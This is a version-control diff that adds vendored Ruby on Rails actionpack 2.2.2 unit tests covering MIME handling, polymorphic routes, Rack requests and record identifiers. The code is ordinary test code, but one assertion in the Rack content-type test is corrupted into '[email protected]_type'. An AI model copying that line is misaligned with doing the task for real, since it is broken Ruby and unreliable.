+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
+  def test_rjs_type_skips_layout
+    @request.accept = "text/javascript"
+    get :all_types_with_layout
+    assert_equal 'RJS for all_types_with_layout', @response.body
+  end
+
+  def test_html_type_with_layout
+    @request.accept = "text/html"
+    get :all_types_with_layout
+    assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+  end
+
+  def test_xhr
+    xhr :get, :js_or_html
+    assert_equal 'JS', @response.body
+
+    xhr :get, :using_defaults
+    assert_equal '$("body").visualEffect("highlight");', @response.body
+  end
+
+  def test_custom_constant
+    get :custom_constant_handling, :format => "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_custom_constant_handling_without_block
+    get :custom_constant_handling_without_block, :format => "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_forced_format
+    get :html_xml_or_rss
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, :format => "html"
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, :format => "xml"
+    assert_equal "XML", @response.body
+
+    get :html_xml_or_rss, :format => "rss"
+    assert_equal "RSS", @response.body
+  end
+
+  def test_internally_forced_format
+    get :forced_xml
+    assert_equal "XML", @response.body
+
+    get :forced_xml, :format => "html"
+    assert_equal "XML", @response.body
+  end
+
+  def test_extension_synonyms
+    get :html_xml_or_rss, :format => "xhtml"
+    assert_equal "HTML", @response.body
+  end
+
+  def test_render_action_for_html
+    @controller.instance_eval do
+      def render(*args)
+        unless args.empty?
+          @action = args.first[:action]
+        end
+        response.body = "#{@action} - #{@template.template_format}"
+      end
+    end
+
+    get :using_defaults
+    assert_equal "using_defaults - html", @response.body
+
+    get :using_defaults, :format => "xml"
+    assert_equal "using_defaults - xml", @response.body
+  end
+
+  def test_format_with_custom_response_type
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+    get :iphone_with_html_response_type, :format => "iphone"
+    assert_equal "text/html", @response.content_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+  end
+
+  def test_format_with_custom_response_type_and_request_headers
+    @request.accept = "text/iphone"
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_format_with_custom_response_type_and_request_headers_with_only_one_layout_present
+    get :iphone_with_html_response_type_without_layout
+    assert_equal '<html><div id="html_missing">Hello future from Firefox!</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    assert_raises(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
+  end
+end
+
+class AbstractPostController < ActionController::Base
+  self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+  around_filter :with_iphone
+
+  def index
+    respond_to do |type|
+      type.html
+      type.iphone
+    end
+  end
+
+  protected
+    def with_iphone
+      Mime::Type.register_alias("text/html", :iphone)
+      request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+      yield
+    ensure
+      Mime.module_eval { remove_const :IPHONE if const_defined?(:IPHONE) }
+    end
+end
+
+class SuperPostController < PostController
+  def index
+    respond_to do |type|
+      type.html
+      type.iphone
+    end
+  end
+end
+
+class MimeControllerLayoutsTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @controller   = PostController.new
+    @request.host = "www.example.com"
+  end
+
+  def test_missing_layout_renders_properly
+    get :index
+    assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal 'Hello iPhone', @response.body
+  end
+
+  def test_format_with_inherited_layouts
+    @controller = SuperPostController.new
+
+    get :index
+    assert_equal 'Super Firefox', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_type_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_type_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/mime_type_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,84 @@
+require 'abstract_unit'
+
+class MimeTypeTest < Test::Unit::TestCase
+  Mime::Type.register "image/png", :png
+  Mime::Type.register "application/pdf", :pdf
+
+  def test_parse_single
+    Mime::LOOKUP.keys.each do |mime_type|
+      assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
+    end
+  end
+
+  def test_parse_without_q
+    accept = "text/xml,application/xhtml+xml,text/yaml,application/xml,text/html,image/png,text/plain,application/pdf,*/*"
+    expect = [Mime::HTML, Mime::XML, Mime::YAML, Mime::PNG, Mime::TEXT, Mime::PDF, Mime::ALL]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  def test_parse_with_q
+    accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; q=0.2"
+    expect = [Mime::HTML, Mime::XML, Mime::PNG, Mime::PDF, Mime::TEXT, Mime::YAML, Mime::ALL]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+  
+  # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
+  def test_parse_crappy_broken_acceptlines
+    accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
+    expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL]
+    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+  end
+
+  # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)
+  def test_parse_crappy_broken_acceptlines2
+    accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,  , pronto/1.00.00, sslvpn/1.00.00.00, */*"
+    expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL  ]
+    assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+  end
+  
+  def test_custom_type
+    Mime::Type.register("image/gif", :gif)
+    assert_nothing_raised do 
+      Mime::GIF
+      assert_equal Mime::GIF, Mime::SET.last
+    end
+  ensure
+    Mime.module_eval { remove_const :GIF if const_defined?(:GIF) }
+  end
+  
+  def test_type_should_be_equal_to_symbol
+    assert_equal Mime::HTML, 'application/xhtml+xml'
+    assert_equal Mime::HTML, :html
+  end
+
+  def test_type_convenience_methods
+    # Don't test Mime::ALL, since it Mime::ALL#html? == true
+    types = Mime::SET.to_a.map(&:to_sym).uniq - [:all]
+
+    # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
+    types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
+
+    types.each do |type|
+      mime = Mime.const_get(type.to_s.upcase)
+      assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?"
+      invalid_types = types - [type]
+      invalid_types.delete(:html) if Mime::Type.html_types.include?(type)
+      invalid_types.each { |other_type| assert !mime.send("#{other_type}?"), "#{mime.inspect} is #{other_type}?" }
+    end
+  end
+
+  def test_mime_all_is_html
+    assert Mime::ALL.all?,  "Mime::ALL is not all?"
+    assert Mime::ALL.html?, "Mime::ALL is not html?"
+  end
+
+  def test_verifiable_mime_types
+    all_types = Mime::SET.to_a.map(&:to_sym)
+    all_types.uniq!
+    # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
+    all_types.delete_if { |type| !Mime.const_defined?(type.to_s.upcase) }
+    verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
+    assert verified.each   { |type| assert  Mime.const_get(type.to_s.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
+    assert unverified.each { |type| assert !Mime.const_get(type.to_s.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/polymorphic_routes_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/polymorphic_routes_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/polymorphic_routes_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,209 @@
+require 'abstract_unit'
+
+class Article
+  attr_reader :id
+  def save; @id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    model = self.class.name.downcase
+    @id.nil? ? "new #{model}" : "#{model} ##{@id}"
+  end
+end
+
+class Response < Article
+  def post_id; 1 end
+end
+
+class Tag < Article
+  def response_id; 1 end
+end
+
+# TODO: test nested models
+class Response::Nested < Response; end
+
+uses_mocha 'polymorphic URL helpers' do
+  class PolymorphicRoutesTest < Test::Unit::TestCase
+
+    include ActionController::PolymorphicRoutes
+
+    def setup
+      @article = Article.new
+      @response = Response.new
+    end
+  
+    def test_with_record
+      @article.save
+      expects(:article_url).with(@article)
+      polymorphic_url(@article)
+    end
+
+    def test_with_new_record
+      expects(:articles_url).with()
+      @article.expects(:new_record?).returns(true)
+      polymorphic_url(@article)
+    end
+
+    def test_with_record_and_action
+      expects(:new_article_url).with()
+      @article.expects(:new_record?).never
+      polymorphic_url(@article, :action => 'new')
+    end
+
+    def test_url_helper_prefixed_with_new
+      expects(:new_article_url).with()
+      new_polymorphic_url(@article)
+    end
+
+    def test_url_helper_prefixed_with_edit
+      @article.save
+      expects(:edit_article_url).with(@article)
+      edit_polymorphic_url(@article)
+    end
+
+    def test_url_helper_prefixed_with_edit_with_url_options
+      @article.save
+      expects(:edit_article_url).with(@article, :param1 => '10')
+      edit_polymorphic_url(@article, :param1 => '10')
+    end
+
+    def test_url_helper_with_url_options
+      @article.save
+      expects(:article_url).with(@article, :param1 => '10')
+      polymorphic_url(@article, :param1 => '10')
+    end
+
+    def test_formatted_url_helper
+      expects(:formatted_article_url).with(@article, :pdf)
+      formatted_polymorphic_url([@article, :pdf])
+    end
+
+    def test_format_option
+      @article.save
+      expects(:formatted_article_url).with(@article, :pdf)
+      polymorphic_url(@article, :format => :pdf)
+    end
+
+    def test_format_option_with_url_options
+      @article.save
+      expects(:formatted_article_url).with(@article, :pdf, :param1 => '10')
+      polymorphic_url(@article, :format => :pdf, :param1 => '10')
+    end
+
+    def test_id_and_format_option
+      @article.save
+      expects(:article_url).with(:id => @article, :format => :pdf)
+      polymorphic_url(:id => @article, :format => :pdf)
+    end
+
+    def test_with_nested
+      @response.save
+      expects(:article_response_url).with(@article, @response)
+      polymorphic_url([@article, @response])
+    end
+
+    def test_with_nested_unsaved
+      expects(:article_responses_url).with(@article)
+      polymorphic_url([@article, @response])
+    end
+
+    def test_new_with_array_and_namespace
+      expects(:new_admin_article_url).with()
+      polymorphic_url([:admin, @article], :action => 'new')
+    end
+
+    def test_unsaved_with_array_and_namespace
+      expects(:admin_articles_url).with()
+      polymorphic_url([:admin, @article])
+    end
+
+    def test_nested_unsaved_with_array_and_namespace
+      @article.save
+      expects(:admin_article_url).with(@article)
+      polymorphic_url([:admin, @article])
+      expects(:admin_article_responses_url).with(@article)
+      polymorphic_url([:admin, @article, @response])
+    end
+
+    def test_nested_with_array_and_namespace
+      @response.save
+      expects(:admin_article_response_url).with(@article, @response)
+      polymorphic_url([:admin, @article, @response])
+
+      # a ridiculously long named route tests correct ordering of namespaces and nesting:
+      @tag = Tag.new
+      @tag.save
+      expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
+      polymorphic_url([:site, :admin, @article, @response, @tag])
+    end
+
+    def test_nesting_with_array_ending_in_singleton_resource
+      expects(:article_response_url).with(@article)
+      polymorphic_url([@article, :response])
+    end
+
+    def test_nesting_with_array_containing_singleton_resource
+      @tag = Tag.new
+      @tag.save
+      expects(:article_response_tag_url).with(@article, @tag)
+      polymorphic_url([@article, :response, @tag])
+    end
+
+    def test_nesting_with_array_containing_namespace_and_singleton_resource
+      @tag = Tag.new
+      @tag.save
+      expects(:admin_article_response_tag_url).with(@article, @tag)
+      polymorphic_url([:admin, @article, :response, @tag])
+    end
+
+    def test_nesting_with_array_containing_singleton_resource_and_format
+      @tag = Tag.new
+      @tag.save
+      expects(:formatted_article_response_tag_url).with(@article, @tag, :pdf)
+      formatted_polymorphic_url([@article, :response, @tag, :pdf])
+    end
+
+    def test_nesting_with_array_containing_singleton_resource_and_format_option
+      @tag = Tag.new
+      @tag.save
+      expects(:formatted_article_response_tag_url).with(@article, @tag, :pdf)
+      polymorphic_url([@article, :response, @tag], :format => :pdf)
+    end
+
+    def test_nesting_with_array_containing_nil
+      expects(:article_response_url).with(@article)
+      polymorphic_url([@article, nil, :response])
+    end
+
+    def test_with_array_containing_single_object
+      @article.save
+      expects(:article_url).with(@article)
+      polymorphic_url([nil, @article])
+    end
+
+    def test_with_array_containing_single_name
+      @article.save
+      expects(:articles_url)
+      polymorphic_url([:articles])
+    end
+
+    # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
+    def xtest_with_hash
+      expects(:article_url).with(@article)
+      @article.save
+      polymorphic_url(:id => @article)
+    end
+
+    def test_polymorphic_path_accepts_options
+      expects(:new_article_path).with()
+      polymorphic_path(@article, :action => :new)
+    end
+
+    def test_polymorphic_path_does_not_modify_arguments
+      expects(:admin_article_responses_url).with(@article)
+      path = [:admin, @article, @response]
+      assert_no_difference 'path.size' do
+        polymorphic_url(path)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rack_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rack_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/rack_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,323 @@
+require 'abstract_unit'
+require 'action_controller/rack_process'
+
+class BaseRackTest < Test::Unit::TestCase
+  def setup
+    @env = {
+      "HTTP_MAX_FORWARDS" => "10",
+      "SERVER_NAME" => "glu.ttono.us:8007",
+      "FCGI_ROLE" => "RESPONDER",
+      "AUTH_TYPE" => "Basic",
+      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
+      "HTTP_ACCEPT_CHARSET" => "UTF-8",
+      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+      "HTTP_PRAGMA" => "no-cache",
+      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+      "PATH_INFO" => "/homepage/",
+      "HTTP_ACCEPT_LANGUAGE" => "en",
+      "HTTP_NEGOTIATE" => "trans",
+      "HTTP_HOST" => "glu.ttono.us:8007",
+      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+      "HTTP_FROM" => "googlebot",
+      "SERVER_PROTOCOL" => "HTTP/1.1",
+      "REDIRECT_URI" => "/dispatch.fcgi",
+      "SCRIPT_NAME" => "/dispatch.fcgi",
+      "SERVER_ADDR" => "207.7.108.53",
+      "REMOTE_ADDR" => "207.7.108.53",
+      "REMOTE_HOST" => "google.com",
+      "REMOTE_IDENT" => "kevin",
+      "REMOTE_USER" => "kevin",
+      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+      "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
+      "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
+      "REQUEST_URI" => "/admin",
+      "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
+      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+      "SERVER_PORT" => "8007",
+      "QUERY_STRING" => "",
+      "REMOTE_PORT" => "63137",
+      "GATEWAY_INTERFACE" => "CGI/1.1",
+      "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
+      "HTTP_ACCEPT" => "*/*",
+      "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
+      "REDIRECT_STATUS" => "200",
+      "REQUEST_METHOD" => "GET"
+    }
+    @request = ActionController::RackRequest.new(@env)
+    # some Nokia phone browsers omit the space after the semicolon separator.
+    # some developers have grown accustomed to using comma in cookie values.
+    @alt_cookie_fmt_request = ActionController::RackRequest.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
+  end
+
+  def default_test; end
+
+  private
+
+  def set_content_data(data)
+    @request.env['REQUEST_METHOD'] = 'POST'
+    @request.env['CONTENT_LENGTH'] = data.length
+    @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+    @request.env['RAW_POST_DATA'] = data
+  end
+end
+
+class RackRequestTest < BaseRackTest
+  def test_proxy_request
+    assert_equal 'glu.ttono.us', @request.host_with_port(true)
+  end
+
+  def test_http_host
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env['HTTP_HOST'] = "rubyonrails.org:8080"
+    assert_equal "rubyonrails.org", @request.host(true)
+    assert_equal "rubyonrails.org:8080", @request.host_with_port(true)
+
+    @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
+    assert_equal "www.secondhost.org", @request.host(true)
+  end
+
+  def test_http_host_with_default_port_overrides_server_port
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env['HTTP_HOST'] = "rubyonrails.org"
+    assert_equal "rubyonrails.org", @request.host_with_port(true)
+  end
+
+  def test_host_with_port_defaults_to_server_name_if_no_host_headers
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env.delete "HTTP_HOST"
+    assert_equal "glu.ttono.us:8007", @request.host_with_port(true)
+  end
+
+  def test_host_with_port_falls_back_to_server_addr_if_necessary
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env.delete "HTTP_HOST"
+    @env.delete "SERVER_NAME"
+    assert_equal "207.7.108.53", @request.host(true)
+    assert_equal 8007, @request.port(true)
+    assert_equal "207.7.108.53:8007", @request.host_with_port(true)
+  end
+
+  def test_host_with_port_if_http_standard_port_is_specified
+    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
+    assert_equal "glu.ttono.us", @request.host_with_port(true)
+  end
+
+  def test_host_with_port_if_https_standard_port_is_specified
+    @env['HTTP_X_FORWARDED_PROTO'] = "https"
+    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
+    assert_equal "glu.ttono.us", @request.host_with_port(true)
+  end
+
+  def test_host_if_ipv6_reference
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true)
+  end
+
+  def test_host_if_ipv6_reference_with_port
+    @env.delete "HTTP_X_FORWARDED_HOST"
+    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true)
+  end
+
+  def test_cgi_environment_variables
+    assert_equal "Basic", @request.auth_type
+    assert_equal 0, @request.content_length
+    assert_equal nil, @request.content_type
+    assert_equal "CGI/1.1", @request.gateway_interface
+    assert_equal "*/*", @request.accept
+    assert_equal "UTF-8", @request.accept_charset
+    assert_equal "gzip, deflate", @request.accept_encoding
+    assert_equal "en", @request.accept_language
+    assert_equal "no-cache, max-age=0", @request.cache_control
+    assert_equal "googlebot", @request.from
+    assert_equal "glu.ttono.us", @request.host
+    assert_equal "trans", @request.negotiate
+    assert_equal "no-cache", @request.pragma
+    assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
+    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
+    assert_equal "/homepage/", @request.path_info
+    assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
+    assert_equal "", @request.query_string
+    assert_equal "207.7.108.53", @request.remote_addr
+    assert_equal "google.com", @request.remote_host
+    assert_equal "kevin", @request.remote_ident
+    assert_equal "kevin", @request.remote_user
+    assert_equal :get, @request.request_method
+    assert_equal "/dispatch.fcgi", @request.script_name
+    assert_equal "glu.ttono.us:8007", @request.server_name
+    assert_equal 8007, @request.server_port
+    assert_equal "HTTP/1.1", @request.server_protocol
+    assert_equal "lighttpd", @request.server_software
+  end
+
+  def test_cookie_syntax_resilience
+    cookies = @request.cookies
+    assert_equal ["c84ace84796670c052c6ceb2451fb0f2"], cookies["_session_id"], cookies.inspect
+    assert_equal ["yes"], cookies["is_admin"], cookies.inspect
+
+    alt_cookies = @alt_cookie_fmt_request.cookies
+    assert_equal ["c84ace847,96670c052c6ceb2451fb0f2"], alt_cookies["_session_id"], alt_cookies.inspect
+    assert_equal ["yes"], alt_cookies["is_admin"], alt_cookies.inspect
+  end
+end
+
+class RackRequestParamsParsingTest < BaseRackTest
+  def test_doesnt_break_when_content_type_has_charset
+    set_content_data 'flamenco=love'
+
+    assert_equal({"flamenco"=> "love"}, @request.request_parameters)
+  end
+
+  def test_doesnt_interpret_request_uri_as_query_string_when_missing
+    @request.env['REQUEST_URI'] = 'foo'
+    assert_equal({}, @request.query_parameters)
+  end
+end
+
+class RackRequestContentTypeTest < BaseRackTest
+  def test_html_content_type_verification
+    @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
+    assert @request.content_type.verify_request?
+  end
+
+  def test_xml_content_type_verification
+    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+    assert [email protected]_type.verify_request?
+  end
+end
+
+class RackRequestMethodTest < BaseRackTest
+  def test_get
+    assert_equal :get, @request.request_method
+  end
+
+  def test_post
+    @request.env['REQUEST_METHOD'] = 'POST'
+    assert_equal :post, @request.request_method
+  end
+
+  def test_put
+    set_content_data '_method=put'
+
+    assert_equal :put, @request.request_method
+  end
+
+  def test_delete
+    set_content_data '_method=delete'
+
+    assert_equal :delete, @request.request_method
+  end
+end
+
+class RackRequestNeedsRewoundTest < BaseRackTest
+  def test_body_should_be_rewound
+    data = 'foo'
+    @env['rack.input'] = StringIO.new(data)
+    @env['CONTENT_LENGTH'] = data.length
+    @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+
+    # Read the request body by parsing params.
+    request = ActionController::RackRequest.new(@env)
+    request.request_parameters
+
+    # Should have rewound the body.
+    assert_equal 0, request.body.pos
+  end
+end
+
+class RackResponseTest < BaseRackTest
+  def setup
+    super
+    @response = ActionController::RackResponse.new(@request)
+    @output = StringIO.new('')
+  end
+
+  def test_simple_output
+    @response.body = "Hello, World!"
+    @response.prepare!
+
+    status, headers, body = @response.out(@output)
+    assert_equal "200 OK", status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8",
+      "Cache-Control" => "private, max-age=0, must-revalidate",
+      "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
+      "Set-Cookie" => [],
+      "Content-Length" => "13"
+    }, headers)
+
+    parts = []
+    body.each { |part| parts << part }
+    assert_equal ["Hello, World!"], parts
+  end
+
+  def test_streaming_block
+    @response.body = Proc.new do |response, output|
+      5.times { |n| output.write(n) }
+    end
+    @response.prepare!
+
+    status, headers, body = @response.out(@output)
+    assert_equal "200 OK", status
+    assert_equal({"Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "no-cache", "Set-Cookie" => []}, headers)
+
+    parts = []
+    body.each { |part| parts << part }
+    assert_equal ["0", "1", "2", "3", "4"], parts
+  end
+
+  def test_set_session_cookie
+    cookie = CGI::Cookie.new({"name" => "name", "value" => "Josh"})
+    @request.cgi.send :instance_variable_set, '@output_cookies', [cookie]
+
+    @response.body = "Hello, World!"
+    @response.prepare!
+
+    status, headers, body = @response.out(@output)
+    assert_equal "200 OK", status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8",
+      "Cache-Control" => "private, max-age=0, must-revalidate",
+      "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
+      "Set-Cookie" => ["name=Josh; path="],
+      "Content-Length" => "13"
+    }, headers)
+
+    parts = []
+    body.each { |part| parts << part }
+    assert_equal ["Hello, World!"], parts
+  end
+end
+
+class RackResponseHeadersTest < BaseRackTest
+  def setup
+    super
+    @response = ActionController::RackResponse.new(@request)
+    @output = StringIO.new('')
+    @response.headers['Status'] = "200 OK"
+  end
+
+  def test_content_type
+    [204, 304].each do |c|
+      @response.headers['Status'] = c.to_s
+      assert !response_headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
+    end
+
+    [200, 302, 404, 500].each do |c|
+      @response.headers['Status'] = c.to_s
+      assert response_headers.has_key?("Content-Type"), "#{c} did not have Content-Type header"
+    end
+  end
+
+  def test_status
+    assert !response_headers.has_key?('Status')
+  end
+
+  private
+    def response_headers
+      @response.prepare!
+      @response.out(@output)[1]
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/record_identifier_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/record_identifier_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/record_identifier_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,139 @@
+require 'abstract_unit'
+
+class Comment
+  attr_reader :id
+  def save; @id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    @id.nil? ? 'new comment' : "comment ##{@id}"
+  end
+end
+
+class Comment::Nested < Comment; end
+
+class Test::Unit::TestCase
+  protected
+    def comments_url
+      'http://www.example.com/comments'
+    end
+    
+    def comment_url(comment)
+      "http://www.example.com/comments/#{comment.id}"
+    end
+end
+
+
+class RecordIdentifierTest < Test::Unit::TestCase
+  include ActionController::RecordIdentifier
+
+  def setup
+    @klass  = Comment
+    @record = @klass.new
+    @singular = 'comment'
+    @plural = 'comments'
+  end
+
+  def test_dom_id_with_new_record
+    assert_equal "new_#{@singular}", dom_id(@record)
+  end
+
+  def test_dom_id_with_new_record_and_prefix
+    assert_equal "custom_prefix_#{@singular}", dom_id(@record, :custom_prefix)
+  end
+
+  def test_dom_id_with_saved_record
+    @record.save
+    assert_equal "#{@singular}_1", dom_id(@record)
+  end
+
+  def test_dom_id_with_prefix
+    @record.save
+    assert_equal "edit_#{@singular}_1", dom_id(@record, :edit)
+  end
+
+  def test_partial_path
+    expected = "#{@plural}/#{@singular}"
+    assert_equal expected, partial_path(@record)
+    assert_equal expected, partial_path(Comment)
+  end
+
+  def test_partial_path_with_namespaced_controller_path
+    expected = "admin/#{@plural}/#{@singular}"
+    assert_equal expected, partial_path(@record, "admin/posts")
+    assert_equal expected, partial_path(@klass, "admin/posts")
+  end
+
+  def test_partial_path_with_not_namespaced_controller_path
+    expected = "#{@plural}/#{@singular}"
+    assert_equal expected, partial_path(@record, "posts")
+    assert_equal expected, partial_path(@klass, "posts")
+  end
+
+  def test_dom_class
+    assert_equal @singular, dom_class(@record)
+  end
+  
+  def test_dom_class_with_prefix
+    assert_equal "custom_prefix_#{@singular}", dom_class(@record, :custom_prefix)
+  end
+
+  def test_singular_class_name
+    assert_equal @singular, singular_class_name(@record)
+  end
+
+  def test_singular_class_name_for_class
+    assert_equal @singular, singular_class_name(@klass)
+  end
+
+  def test_plural_class_name
+    assert_equal @plural, plural_class_name(@record)
+  end
+
+  def test_plural_class_name_for_class
+    assert_equal @plural, plural_class_name(@klass)
+  end
+
+  private
+    def method_missing(method, *args)
+      RecordIdentifier.send(method, *args)
+    end
+end
+
+class NestedRecordIdentifierTest < RecordIdentifierTest
+  def setup
+    @klass  = Comment::Nested
+    @record = @klass.new
+    @singular = 'comment_nested'
+    @plural = 'comment_nesteds'
+  end
+
+  def test_partial_path
+    expected = "comment/nesteds/nested"
+    assert_equal expected, partial_path(@record)
+    assert_equal expected, partial_path(Comment::Nested)
+  end
+
+  def test_partial_path_with_namespaced_controller_path
+    expected = "admin/comment/nesteds/nested"
+    assert_equal expected, partial_path(@record, "admin/posts")
+    assert_equal expected, partial_path(@klass, "admin/posts")
+  end
+
+  def test_partial_path_with_deeper_namespaced_controller_path
+    expected = "deeper/admin/comment/nesteds/nested"
+    assert_equal expected, partial_path(@record, "deeper/admin/posts")
+    assert_equal expected, partial_path(@klass, "deeper/admin/posts")
+  end
+
+  def test_partial_path_with_even_deeper_namespaced_controller_path
+    expected = "even/more/deeper/admin/comment/nesteds/nested"
+    assert_equal expected, partial_path(@record, "even/more/deeper/admin/posts")
+    assert_equal expected, partial_path(@klass, "even/more/deeper/admin/posts")
+  end
+
+  def test_partial_path_with_not_namespaced_controller_path
+    expected = "comment/nesteds/nested"
+    assert_equal expected, partial_path(@record, "posts")
+    assert_equal expected, partial_path(@klass, "posts")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/redirect_test.rb
===================================================================
